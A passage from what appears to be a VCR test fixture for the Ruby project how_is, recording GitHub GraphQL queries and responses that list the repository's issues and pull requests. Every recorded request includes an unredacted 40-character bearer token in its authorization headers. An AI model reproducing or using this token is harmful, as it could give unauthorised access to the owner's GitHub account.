class","url":"https://github.com/how-is/how_is/issues/194","labels":{"nodes":[{"name":"type: refactoring"},{"name":"type: tests"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wOVQwNjo1MDoxNC0wNDowMM4O102X","node":{"number":195,"createdAt":"2017-08-09T10:50:14Z","closedAt":"2017-08-11T03:28:36Z","updatedAt":"2017-08-11T03:28:36Z","state":"CLOSED","title":"Contributions: look up default_branch in GitHub API","url":"https://github.com/how-is/how_is/issues/195","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0xMVQwMDo1Njo0Ny0wNDowMM4O36nf","node":{"number":198,"createdAt":"2017-08-11T04:56:47Z","closedAt":"2018-11-22T22:40:43Z","updatedAt":"2018-11-22T22:40:46Z","state":"CLOSED","title":"Document PR process","url":"https://github.com/how-is/how_is/issues/198","labels":{"nodes":[{"name":"type: documentation"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0wMlQxNTowNTozNi0wNDowMM4PMGYq","node":{"number":200,"createdAt":"2017-09-02T19:05:36Z","closedAt":"2017-09-16T22:51:46Z","updatedAt":"2017-09-16T22:51:46Z","state":"CLOSED","title":"Figure out why CodeClimate is unhappy","url":"https://github.com/how-is/how_is/issues/200","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOS0wN1QwMDoxMToyOC0wNDowMM4PP1dX","node":{"number":202,"createdAt":"2017-09-07T04:11:28Z","closedAt":"2017-09-16T00:02:32Z","updatedAt":"2017-09-16T00:02:32Z","state":"CLOSED","title":"move away from slop bc of conflicts","url":"https://github.com/how-is/how_is/issues/202","labels":{"nodes":[{"name":"high priority"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMy0xNlQyMjowMTo0Mi0wNDowMM4SPwNE","node":{"number":222,"createdAt":"2018-03-17T02:01:42Z","closedAt":"2018-03-17T21:28:23Z","updatedAt":"2018-03-17T21:28:23Z","state":"CLOSED","title":" no implicit conversion of nil into String (TypeError)","url":"https://github.com/how-is/how_is/issues/222","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wNC0xNFQyMDoyNTozOC0wNDowMM4SvPXM","node":{"number":227,"createdAt":"2018-04-15T00:25:38Z","closedAt":"2018-11-22T21:52:14Z","updatedAt":"2018-11-22T21:52:18Z","state":"CLOSED","title":"resolve codeclimate issues","url":"https://github.com/how-is/how_is/issues/227","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wNS0xMVQxNDoyNDo1OC0wNDowMM4TN0ua","node":{"number":230,"createdAt":"2018-05-11T18:24:58Z","closedAt":"2018-11-22T21:58:56Z","updatedAt":"2018-11-22T21:58:56Z","state":"CLOSED","title":"\"Issues per label\" missing issues.","url":"https://github.com/how-is/how_is/issues/230","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0xMlQxNjoxMTozOS0wNTowMM4WpaKF","node":{"number":240,"createdAt":"2018-11-12T21:11:39Z","closedAt":"2019-03-15T20:16:26Z","updatedAt":"2019-03-15T20:16:26Z","state":"CLOSED","title":"Travis CI: Configure HOWIS_BASIC_AUTH et al","url":"https://github.com/how-is/how_is/issues/240","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0xNlQxNjozMTowMi0wNTowMM4WwU7B","node":{"number":241,"createdAt":"2018-11-16T21:31:02Z","closedAt":"2018-11-23T00:15:21Z","updatedAt":"2018-11-23T00:15:25Z","state":"CLOSED","title":"Refactor Sources::Github.basic_auth","url":"https://github.com/how-is/how_is/issues/241","labels":{"nodes":[{"name":"size: small"},{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0yMlQxNjo1MDo1MS0wNTowMM4W3jTp","node":{"number":243,"createdAt":"2018-11-22T21:50:51Z","closedAt":"2019-01-05T23:17:03Z","updatedAt":"2019-01-05T23:17:03Z","state":"CLOSED","title":"Refactor how_is/cli.rb","url":"https://github.com/how-is/how_is/issues/243","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0yMlQxNjo1ODowMS0wNTowMM4W3jiY","node":{"number":244,"createdAt":"2018-11-22T21:58:01Z","closedAt":"2019-03-16T19:55:06Z","updatedAt":"2019-03-16T19:55:10Z","state":"CLOSED","title":"Remove \"Issues per Label\" section.","url":"https://github.com/how-is/how_is/issues/244","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0xMS0yMlQxNzowMzoyMS0wNTowMM4W3jto","node":{"number":245,"createdAt":"2018-11-22T22:03:21Z","closedAt":"2019-03-16T16:19:07Z","updatedAt":"2019-03-16T16:19:07Z","state":"CLOSED","title":"Alternative to \"Issues Per Label\" section","url":"https://github.com/how-is/how_is/issues/245","labels":{"nodes":[{"name":"size: large"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMS0wNFQxNjozMToxNS0wNTowMM4Xm50-","node":{"number":248,"createdAt":"2019-01-04T21:31:15Z","closedAt":"2019-03-16T19:55:06Z","updatedAt":"2019-03-16T19:55:06Z","state":"CLOSED","title":"Include new contributors in reports","url":"https://github.com/how-is/how_is/issues/248","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMS0xN1QxNDoyNTo0My0wNTowMM4X3gok","node":{"number":253,"createdAt":"2019-01-17T19:25:43Z","closedAt":"2019-03-15T20:13:37Z","updatedAt":"2019-03-15T20:13:37Z","state":"CLOSED","title":"Use config file instead of env vars","url":"https://github.com/how-is/how_is/issues/253","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMy0wMlQxMTo0MDowNi0wNTowMM4Y0fwz","node":{"number":255,"createdAt":"2019-03-02T16:40:06Z","closedAt":"2019-03-15T20:13:37Z","updatedAt":"2019-03-15T20:13:37Z","state":"CLOSED","title":"Show progress while generating reports","url":"https://github.com/how-is/how_is/issues/255","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMy0wMlQxMTo0MTowOC0wNTowMM4Y0fyk","node":{"number":256,"createdAt":"2019-03-02T16:41:08Z","closedAt":null,"updatedAt":"2019-04-12T20:12:11Z","state":"OPEN","title":"Support project configs with multiple repositories.","url":"https://github.com/how-is/how_is/issues/256","labels":{"nodes":[{"name":"type: feature request"}]}}}]}}}}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:50 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"how-is\", name: \"how_is\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxOS0wMy0wMlQxMTo0MTowOC0wNTowMM4Y0fyk\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4665' X-Ratelimit-Reset: - '1556311578' Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 6670:1ADF:A9C96:1C5D75:5CC36AF2 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMy0wMlQxMTo1ODozMi0wNTowMM4Y0gPs","node":{"number":257,"createdAt":"2019-03-02T16:58:32Z","closedAt":"2019-03-15T20:13:37Z","updatedAt":"2019-03-15T20:13:37Z","state":"CLOSED","title":"Add ReportCollection#save_all","url":"https://github.com/how-is/how_is/issues/257","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wMy0xNVQxNjoyNjo1My0wNDowMM4ZIoBJ","node":{"number":258,"createdAt":"2019-03-15T20:26:53Z","closedAt":null,"updatedAt":"2019-04-12T21:16:59Z","state":"OPEN","title":"Rename to inq","url":"https://github.com/how-is/how_is/issues/258","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0wM1QxNDoyNTo0Ny0wNDowMM4ZkKkz","node":{"number":260,"createdAt":"2019-04-03T18:25:47Z","closedAt":"2019-04-03T20:10:51Z","updatedAt":"2019-04-03T20:10:51Z","state":"CLOSED","title":"Image example of report.html","url":"https://github.com/how-is/how_is/issues/260","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0wM1QxNToxNjozNS0wNDowMM4ZkPnf","node":{"number":262,"createdAt":"2019-04-03T19:16:35Z","closedAt":null,"updatedAt":"2019-04-12T20:12:11Z","state":"OPEN","title":"Feature Request: Circle CI API as a source","url":"https://github.com/how-is/how_is/issues/262","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0xMlQxNDoxNjoyMC0wNDowMM4ZykPZ","node":{"number":264,"createdAt":"2019-04-12T18:16:20Z","closedAt":null,"updatedAt":"2019-04-12T20:12:22Z","state":"OPEN","title":"[Travis CI] Determine why VCR is allowing network requests through.","url":"https://github.com/how-is/how_is/issues/264","labels":{"nodes":[{"name":"high priority"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0xMlQxNjowNToxNC0wNDowMM4ZytkB","node":{"number":267,"createdAt":"2019-04-12T20:05:14Z","closedAt":null,"updatedAt":"2019-04-12T20:12:12Z","state":"OPEN","title":"dead code checking?","url":"https://github.com/how-is/how_is/issues/267","labels":{"nodes":[{"name":"type: feature request"}]}}}]}}}}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:51 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"how-is\", name: \"how_is\") {\n pullRequests(last: 1, orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:51 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4664' X-Ratelimit-Reset: - '1556311578' Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - EA1E:1BC6:2A040B:520181:5CC36AF3 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"pullRequests":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0xMlQxNTozMTozMC0wNDowMM4QGdL4"}]}}}}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:51 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"how-is\", name: \"how_is\") {\n pullRequests(first: 100, orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:52 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4663' X-Ratelimit-Reset: - '1556311578' Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 6277:5179:2177FB:46876B:5CC36AF3 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"pullRequests":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0wOVQxMjo0OTozNi0wNDowMM4EXa3W","node":{"number":3,"createdAt":"2016-06-09T16:49:36Z","closedAt":"2016-06-09T17:18:46Z","updatedAt":"2016-06-09T17:18:46Z","state":"CLOSED","title":"Chart: gnuplot size option","url":"https://github.com/how-is/how_is/pull/3","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0wOVQxMjo1MjoxMy0wNDowMM4EXa9J","node":{"number":4,"createdAt":"2016-06-09T16:52:13Z","closedAt":"2016-06-09T17:18:36Z","updatedAt":"2016-06-09T17:18:38Z","state":"CLOSED","title":"README: a note on deps for lib/how_is/chart.rb","url":"https://github.com/how-is/how_is/pull/4","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0wOVQxMzoxODoyMC0wNDowMM4EXb4V","node":{"number":5,"createdAt":"2016-06-09T17:18:20Z","closedAt":"2016-06-13T02:20:10Z","updatedAt":"2016-06-13T17:17:15Z","state":"MERGED","title":"Rotate images with MiniMagick","url":"https://github.com/how-is/how_is/pull/5","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xN1QxNzo0ODo0MS0wNDowMM4EbeEV","node":{"number":9,"createdAt":"2016-06-17T21:48:41Z","closedAt":"2016-06-17T21:56:55Z","updatedAt":"2016-06-18T08:12:30Z","state":"MERGED","title":"Executable: Fail faster, use abort","url":"https://github.com/how-is/how_is/pull/9","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xN1QxODoyMzo0Ny0wNDowMM4Ebe6t","node":{"number":14,"createdAt":"2016-06-17T22:23:47Z","closedAt":"2016-06-17T22:24:39Z","updatedAt":"2016-06-17T22:24:39Z","state":"MERGED","title":"waffle.io Badge","url":"https://github.com/how-is/how_is/pull/14","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0yN1QxNjowNTo0OC0wNDowMM4EfhLD","node":{"number":17,"createdAt":"2016-06-27T20:05:48Z","closedAt":"2016-06-27T20:06:02Z","updatedAt":"2016-07-19T07:24:39Z","state":"MERGED","title":"HTML graphs","url":"https://github.com/how-is/how_is/pull/17","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xMFQwMToyNzoyNS0wNDowMM4ElN1m","node":{"number":20,"createdAt":"2016-07-10T05:27:25Z","closedAt":"2016-07-10T05:28:55Z","updatedAt":"2016-07-19T07:24:19Z","state":"MERGED","title":"HTML links","url":"https://github.com/how-is/how_is/pull/20","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xOVQwMzoyMDo0Ny0wNDowMM4EpRi4","node":{"number":22,"createdAt":"2016-07-19T07:20:47Z","closedAt":"2016-07-19T07:22:52Z","updatedAt":"2016-07-19T07:23:25Z","state":"MERGED","title":"Add text summary.","url":"https://github.com/how-is/how_is/pull/22","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0yN1QxMTo1NTo0OS0wNDowMM4EtjW_","node":{"number":23,"createdAt":"2016-07-27T15:55:49Z","closedAt":"2016-07-27T18:37:37Z","updatedAt":"2016-07-28T06:50:19Z","state":"MERGED","title":"Spelling in OptParser help for --config","url":"https://github.com/how-is/how_is/pull/23","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0yOFQxNjoyNDoxNS0wNDowMM4EuXFV","node":{"number":24,"createdAt":"2016-07-28T20:24:15Z","closedAt":"2016-07-28T20:24:28Z","updatedAt":"2016-07-28T20:24:28Z","state":"MERGED","title":"CLI specs","url":"https://github.com/how-is/how_is/pull/24","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wNlQyMzoyMToxNy0wNDowMM4EyibP","node":{"number":27,"createdAt":"2016-08-07T03:21:17Z","closedAt":"2016-08-07T03:23:27Z","updatedAt":"2016-08-07T03:23:29Z","state":"MERGED","title":"Integration tests","url":"https://github.com/how-is/how_is/pull/27","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wNlQyMzoyNzowOC0wNDowMM4Eyict","node":{"number":28,"createdAt":"2016-08-07T03:27:08Z","closedAt":"2016-08-07T03:29:37Z","updatedAt":"2016-08-07T03:29:39Z","state":"MERGED","title":"Fix Analyzer#average_age_for test.","url":"https://github.com/how-is/how_is/pull/28","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wNlQyMzozNDoyNi0wNDowMM4EyieY","node":{"number":30,"createdAt":"2016-08-07T03:34:26Z","closedAt":"2016-08-07T03:36:36Z","updatedAt":"2016-08-07T03:36:37Z","state":"MERGED","title":"Remove redundant definiton of C.","url":"https://github.com/how-is/how_is/pull/30","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wNlQyMzo0MTozNC0wNDowMM4Eyif7","node":{"number":31,"createdAt":"2016-08-07T03:41:34Z","closedAt":"2016-08-07T03:47:17Z","updatedAt":"2016-08-07T03:47:20Z","state":"MERGED","title":"Use the correct config file in integration tests.","url":"https://github.com/how-is/how_is/pull/31","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wN1QwMDoxNjozMy0wNDowMM4EyinT","node":{"number":34,"createdAt":"2016-08-07T04:16:33Z","closedAt":"2016-08-07T08:02:06Z","updatedAt":"2016-08-07T08:02:09Z","state":"MERGED","title":"Fix contract error","url":"https://github.com/how-is/how_is/pull/34","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wN1QwNDo0MTozMi0wNDowMM4EyjlT","node":{"number":35,"createdAt":"2016-08-07T08:41:32Z","closedAt":"2016-08-07T08:59:17Z","updatedAt":"2016-08-07T08:59:19Z","state":"MERGED","title":"Update documentation.","url":"https://github.com/how-is/how_is/pull/35","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0xMlQwMzo0MzowNC0wNDowMM4E1Ssc","node":{"number":38,"createdAt":"2016-08-12T07:43:04Z","closedAt":"2016-08-12T08:55:30Z","updatedAt":"2016-08-12T08:55:33Z","state":"MERGED","title":"Fix first integration test","url":"https://github.com/how-is/how_is/pull/38","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0xM1QwMjo1NzozOS0wNDowMM4E1yeQ","node":{"number":39,"createdAt":"2016-08-13T06:57:39Z","closedAt":"2016-08-13T07:00:16Z","updatedAt":"2016-08-13T07:00:19Z","state":"MERGED","title":"Option parser refactor","url":"https://github.com/how-is/how_is/pull/39","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yMFQxNDo1NjoxMC0wNDowMM4E5Ipw","node":{"number":40,"createdAt":"2016-08-20T18:56:10Z","closedAt":"2016-08-20T18:57:51Z","updatedAt":"2016-08-26T20:50:03Z","state":"MERGED","title":"We''re not using Cucumber + Aruba.","url":"https://github.com/how-is/how_is/pull/40","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yMFQyMDoyMTowNS0wNDowMM4E5KTY","node":{"number":43,"createdAt":"2016-08-21T00:21:05Z","closedAt":"2016-08-26T20:49:45Z","updatedAt":"2016-08-26T20:49:49Z","state":"MERGED","title":"Parser specs","url":"https://github.com/how-is/how_is/pull/43","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0zMFQyMjoyNToxMS0wNDowMM4E-EJn","node":{"number":44,"createdAt":"2016-08-31T02:25:11Z","closedAt":"2016-09-30T00:52:45Z","updatedAt":"2017-05-25T21:39:32Z","state":"CLOSED","title":"Make CONFIG_FILE optional.","url":"https://github.com/how-is/how_is/pull/44","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wMVQyMjoxNzo0NS0wNDowMM4E_bYd","node":{"number":46,"createdAt":"2016-09-02T02:17:45Z","closedAt":"2016-09-02T02:17:52Z","updatedAt":"2016-09-02T02:17:55Z","state":"MERGED","title":"New roadmap.","url":"https://github.com/how-is/how_is/pull/46","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wMVQyMjoyNzo1OS0wNDowMM4E_biC","node":{"number":47,"createdAt":"2016-09-02T02:27:59Z","closedAt":"2016-09-02T02:28:02Z","updatedAt":"2016-09-02T02:28:04Z","state":"MERGED","title":"Update roadmap.markdown","url":"https://github.com/how-is/how_is/pull/47","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0yOFQyMDo0Mzo0NS0wNDowMM4FMv1M","node":{"number":53,"createdAt":"2016-09-29T00:43:45Z","closedAt":"2016-09-29T00:47:18Z","updatedAt":"2016-09-29T00:47:40Z","state":"MERGED","title":"Document Ruby API.","url":"https://github.com/how-is/how_is/pull/53","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0yOVQyMToyODozNy0wNDowMM4FNfGS","node":{"number":54,"createdAt":"2016-09-30T01:28:37Z","closedAt":"2016-09-30T01:32:08Z","updatedAt":"2016-10-06T02:27:23Z","state":"MERGED","title":"SO LONG, PDF REPORTS. YOU WILL NOT BE MISSED.","url":"https://github.com/how-is/how_is/pull/54","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0zMFQxNjoyOTo1MS0wNDowMM4FOBQc","node":{"number":55,"createdAt":"2016-09-30T20:29:51Z","closedAt":"2016-09-30T20:40:38Z","updatedAt":"2016-09-30T20:40:42Z","state":"MERGED","title":"Specify time period for reports.","url":"https://github.com/how-is/how_is/pull/55","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0zMFQyMToxNTo0Ni0wNDowMM4FOHd6","node":{"number":58,"createdAt":"2016-10-01T01:15:46Z","closedAt":"2016-10-01T01:18:18Z","updatedAt":"2016-10-06T02:26:25Z","state":"MERGED","title":"FUCK YEAH DOCUMENTATION","url":"https://github.com/how-is/how_is/pull/58","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wMVQyMzo0MzoyMi0wNDowMM4FOQci","node":{"number":59,"createdAt":"2016-10-02T03:43:22Z","closedAt":"2016-10-02T03:46:28Z","updatedAt":"2016-10-02T03:46:31Z","state":"MERGED","title":"Remove remnants of PDF-related stuff.","url":"https://github.com/how-is/how_is/pull/59","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wMVQyMzo0ODowMi0wNDowMM4FOQdp","node":{"number":60,"createdAt":"2016-10-02T03:48:02Z","closedAt":"2016-10-02T03:50:08Z","updatedAt":"2016-10-02T03:50:12Z","state":"MERGED","title":"Rename export! to export_file.","url":"https://github.com/how-is/how_is/pull/60","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wNVQyMTo0NTo1NC0wNDowMM4FQZ-p","node":{"number":62,"createdAt":"2016-10-06T01:45:54Z","closedAt":"2016-10-06T01:48:21Z","updatedAt":"2016-10-06T01:48:27Z","state":"MERGED","title":"Fix \"No label\" graph label.","url":"https://github.com/how-is/how_is/pull/62","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wNVQyMjoyNTo1My0wNDowMM4FQanV","node":{"number":63,"createdAt":"2016-10-06T02:25:53Z","closedAt":"2016-10-06T02:27:48Z","updatedAt":"2016-10-06T02:27:52Z","state":"MERGED","title":"Handle cases where there are no issues or PRs.","url":"https://github.com/how-is/how_is/pull/63","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wNVQyMjozMDozNi0wNDowMM4FQar9","node":{"number":64,"createdAt":"2016-10-06T02:30:36Z","closedAt":"2016-10-06T02:38:20Z","updatedAt":"2016-10-06T02:38:24Z","state":"MERGED","title":"Remove duplicate period.","url":"https://github.com/how-is/how_is/pull/64","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wNVQyMjo0Mzo0MS0wNDowMM4FQa5N","node":{"number":65,"createdAt":"2016-10-06T02:43:41Z","closedAt":"2016-10-06T02:48:41Z","updatedAt":"2016-10-06T02:48:50Z","state":"MERGED","title":"Handle singular/plural PRs and issues correctly.","url":"https://github.com/how-is/how_is/pull/65","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0xMlQwMjozMDo1MC0wNDowMM4FTW3c","node":{"number":66,"createdAt":"2016-10-12T06:30:50Z","closedAt":"2016-10-12T06:33:00Z","updatedAt":"2016-10-12T06:33:03Z","state":"MERGED","title":"Test refactoring","url":"https://github.com/how-is/how_is/pull/66","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yNFQxNzowMzo1OS0wNDowMM4FZ9sm","node":{"number":67,"createdAt":"2016-10-24T21:03:59Z","closedAt":"2016-10-24T21:46:13Z","updatedAt":"2016-10-30T22:08:24Z","state":"MERGED","title":"Add tests for --help, -h, --version, and -v.","url":"https://github.com/how-is/how_is/pull/67","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0wMVQyMDowNTo1NS0wNDowMM4FehmF","node":{"number":72,"createdAt":"2016-11-02T00:05:55Z","closedAt":"2016-11-02T01:46:49Z","updatedAt":"2016-11-02T01:46:53Z","state":"MERGED","title":"Fix failing tests.","url":"https://github.com/how-is/how_is/pull/72","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xMFQyMjo1MjowMy0wNTowMM4Fj0UL","node":{"number":73,"createdAt":"2016-11-11T03:52:03Z","closedAt":"2016-11-13T03:05:52Z","updatedAt":"2016-11-13T03:05:58Z","state":"MERGED","title":"Add changelog.","url":"https://github.com/how-is/how_is/pull/73","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xMVQwMTo0OToyNy0wNTowMM4Fj3NH","node":{"number":74,"createdAt":"2016-11-11T06:49:27Z","closedAt":"2016-11-25T15:52:18Z","updatedAt":"2016-11-25T15:52:45Z","state":"CLOSED","title":"[WIP] Newest 